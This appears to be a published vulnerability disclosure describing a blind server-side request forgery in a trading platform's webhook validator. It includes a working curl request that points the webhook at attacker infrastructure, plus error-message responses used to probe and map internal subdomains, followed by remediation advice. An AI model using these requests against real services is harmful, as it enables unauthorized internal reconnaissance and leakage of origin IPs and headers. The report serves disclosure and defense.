← Back to all reports

Webhook Validator Becomes Blind Server Request Forgery Oracle

Reported Feb 21, 2026
Severity High
Platform Web
Vulnerability Class Server-Side Request Forgery (CWE-918)
Target Type P2P Trading Platform
Impact Origin IP, internal headers, and internal service mapping

The Risk

The webhook setup feature on the trading platform was being used as a tool to probe the company's internal network. An ordinary logged-in user could give it any web address and the platform's servers would dutifully connect to it on the user's behalf. By watching what came back, an attacker could see the company's hidden server address, read the internal tags engineers attach to requests, and determine which private internal sites exist behind the curtain. None of this is supposed to leave the company's network.

The Vulnerability

The webhook creation endpoint accepted a user-supplied URL and performed a server-side HTTPS request to that URL during a so-called challenge validation. The destination was not effectively restricted. There was no allowlist on hosts, no IP-range filtering, and the validator made the request inside the production network without stripping internal headers.

The endpoint required a normal authenticated user session and a CSRF token, both of which any registered user has.

The Attack

Step 1. Trigger a Callback to Attacker Infrastructure

curl --http2 -i -sS 'https://[redacted-host]/api/webhook/test' \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-TOKEN: $XSRF" -H "X-XSRF-TOKEN: $XSRF" \
  --cookie "session=$SESSION; XSRF-TOKEN=$XSRF" \
  --data-binary @- <<EOF
{"tag":"ssrf-test","endpoints":[{
  "event_type":"trade.message_received",
  "url":"$WORKER/ssrf-test","enabled":true}]}
EOF

The attacker's logger received an inbound POST from the platform's backend. The headers included the backend's egress IP and a set of tracing headers identifying the environment, service version, and monitoring identifiers.

Step 2. Confirm a Reliable Status-Code Oracle

When the attacker's URL returned a non-2xx response, the API leaked the upstream code in its error message:

{"message":"Invalid response code from webhook url \"...\": 404."}

When the URL returned 2xx but did not satisfy the challenge format, the API returned a different message:

{"message":"Webhook challenge failed."}

That difference distinguishes 2xx from non-2xx upstream responses reliably, turning the validator into a status-code oracle.

Step 3. Map Internal Subdomains

Pointing the webhook URL at internal subdomains of the platform produced different status codes for each one, demonstrating that requests reach internal services from inside the production network.

{"message":"Invalid response code from webhook url \"https://internal-monitoring.[redacted]/\": 403."}

Probes against monitoring, auth, dev, and core API hosts each returned distinct codes, confirming reachability.

The Impact

  • Disclosure of the backend's egress and origin IP, which is normally hidden behind the public CDN edge
  • Leakage of internal tracing headers including environment names, service release identifiers, and monitoring trace IDs
  • Reliable mapping of internal services using upstream status codes despite the SSRF being blind
  • Foothold for further attacks against internal services, including post-exploitation paths if any internal endpoint is unauthenticated

Remediation

  • Enforce a strict allowlist for webhook destinations, or block private, loopback, and link-local IP ranges after DNS resolution.
  • Block requests to the company's own domains from the webhook validator unless explicitly required.
  • Defend against DNS rebinding by resolving and validating the destination IP on every hop and after redirects.
  • Strip all internal tracing headers from outbound requests to user-supplied URLs.
  • Normalize error responses so they do not echo upstream status codes or detailed validator errors back to the client.